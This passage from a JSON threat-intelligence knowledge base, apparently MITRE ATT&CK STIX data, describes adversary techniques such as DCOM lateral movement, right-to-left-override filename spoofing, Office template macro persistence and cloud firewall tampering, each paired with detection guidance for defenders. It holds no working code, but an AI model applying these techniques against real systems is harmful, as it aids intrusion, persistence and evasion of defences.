RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Credential Request","Logon Session: Logon Session Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1175","url":"https://attack.mitre.org/techniques/T1175"},{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","source_name":"Microsoft COM"},{"url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","source_name":"Microsoft COM ACL"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","source_name":"Microsoft Process Wide Com Keys"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx","description":"Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.","source_name":"Microsoft System Wide Com Keys"},{"url":"https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html","description":"Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.","source_name":"ProjectZero File Write EoP Apr 2018"},{"url":"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/","description":"Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.","source_name":"Enigma Outlook DCOM Lateral Movement Nov 2017"},{"url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.","source_name":"Enigma MMC20 COM Jan 2017"},{"url":"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/","description":"Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.","source_name":"Enigma DCOM Lateral Movement Jan 2017"},{"url":"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/","description":"Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.","source_name":"Enigma Excel DCOM Sept 2017"},{"url":"https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom","description":"Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.","source_name":"Cyberreason DCOM DDE Lateral Movement Nov 2017"}],"modified":"2020-03-30T13:36:10.069Z","name":"Component Object Model and Distributed COM","description":"**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM","User"],"x_mitre_remote_support":true,"x_mitre_is_subtechnique":false},{"modified":"2024-01-24T00:04:01.066Z","name":"Automated Exfiltration","description":"Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["ExtraHop"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Network Traffic: Network Traffic Flow","File: File Access","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Script: Script Execution"],"type":"attack-pattern","id":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","created":"2017-05-31T21:30:29.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1020","external_id":"T1020"},{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c","type":"attack-pattern","created":"2020-10-02T16:47:16.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.004","url":"https://attack.mitre.org/techniques/T1592/004"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:35:09.668Z","name":"Client Configurations","description":"Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"modified":"2024-10-16T19:38:57.374Z","name":"Disable or Modify Cloud Firewall","description":"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Expel","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor cloud logs for modification or creation of new security groups or firewall rules.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.3","x_mitre_data_sources":["Firewall: Firewall Disable","Firewall: Firewall Rule Modification"],"type":"attack-pattern","id":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","created":"2020-06-24T16:55:46.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/007","external_id":"T1562.007"},{"source_name":"Expel IO Evil in AWS","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.","url":"https://expel.io/blog/finding-evil-in-aws/"},{"source_name":"Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022","description":"Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.","url":"https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","type":"attack-pattern","created":"2020-02-10T19:55:29.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.002","url":"https://attack.mitre.org/techniques/T1036/002"},{"source_name":"Infosecinstitute RTLO Technique","url":"https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/","description":"Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019."},{"source_name":"Trend Micro PLEAD RTLO","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/","description":"Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019."},{"source_name":"Kaspersky RTLO Cyber Crime","url":"https://securelist.com/zero-day-vulnerability-in-telegram/83800/","description":"Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019."}],"modified":"2021-10-14T21:01:59.733Z","name":"Right-to-Left Override","description":"Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection methods should include looking for common formats of RTLO characters within filenames such as \\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","type":"attack-pattern","created":"2020-10-01T02:06:11.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.001","url":"https://attack.mitre.org/techniques/T1588/001"},{"source_name":"FireEyeSupplyChain","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.","url":"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"}],"modified":"2021-10-17T16:15:52.805Z","name":"Malware","description":"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata","Malware Repository: Malware Content"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","type":"attack-pattern","created":"2019-12-19T20:21:21.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.002","url":"https://attack.mitre.org/techniques/T1542/002"},{"description":"SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.","source_name":"SanDisk SMART"},{"url":"https://www.smartmontools.org/","description":"smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.","source_name":"SmartMontools"},{"url":"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html","description":"Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.","source_name":"ITWorld Hard Disk Health Dec 2014"}],"modified":"2022-04-01T20:43:55.632Z","name":"Component Firmware","description":"Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firmware: Firmware Modification","Process: OS API Execution","Driver: Driver Metadata"],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","File monitoring"],"x_mitre_permissions_required":["SYSTEM"],"x_mitre_system_requirements":["Ability to update component device firmware from the host operating system."]},{"modified":"2024-10-15T15:59:22.125Z","name":"Indicator Removal","description":"Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Brad Geesaman, @bradgeesaman","Ed Williams, Trustwave, SpiderLabs","Blake Strom, Microsoft 365 Defender"],"x_mitre_deprecated":false,"x_mitre_detection":"File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Containers","Network","Office Suite"],"x_mitre_version":"2.2","x_mitre_data_sources":["Scheduled Job: Scheduled Job Modification","File: File Modification","Firewall: Firewall Rule Modification","User Account: User Account Authentication","File: File Metadata","User Account: User Account Deletion","Process: OS API Execution","Application Log: Application Log Content","Command: Command Execution","File: File Deletion","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Network Traffic: Network Traffic Content","Windows Registry: Windows Registry Key Deletion"],"x_mitre_defense_bypassed":["Log analysis","Host intrusion prevention systems","Anti-virus"],"type":"attack-pattern","id":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","created":"2017-05-31T21:30:55.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070","external_id":"T1070"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","type":"attack-pattern","created":"2020-03-15T15:30:42.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1048.001","url":"https://attack.mitre.org/techniques/T1048/001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-28T00:43:24.228Z","name":"Exfiltration Over Symmetric Encrypted Non-C2 Protocol","description":"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Command: Command Execution","File: File Access","Network Traffic: Network Connection Creation"]},{"modified":"2024-10-15T16:01:35.918Z","name":"Office Template Macros","description":"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Creation","File: File Modification"],"type":"attack-pattern","id":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","created":"2019-11-07T20:29:17.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1137/001","external_id":"T1137.001"},{"source_name":"MSDN VBA in Office","description":"Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.","url":"https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"},{"source_name":"Hexacorn Office Template Macros","description":"Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017.","url":"http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"},{"source_name":"Microsoft Change Normal Template","description":"Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.","url":"https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"},{"source_name":"enigma0x3 normal.dotm","description":"Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 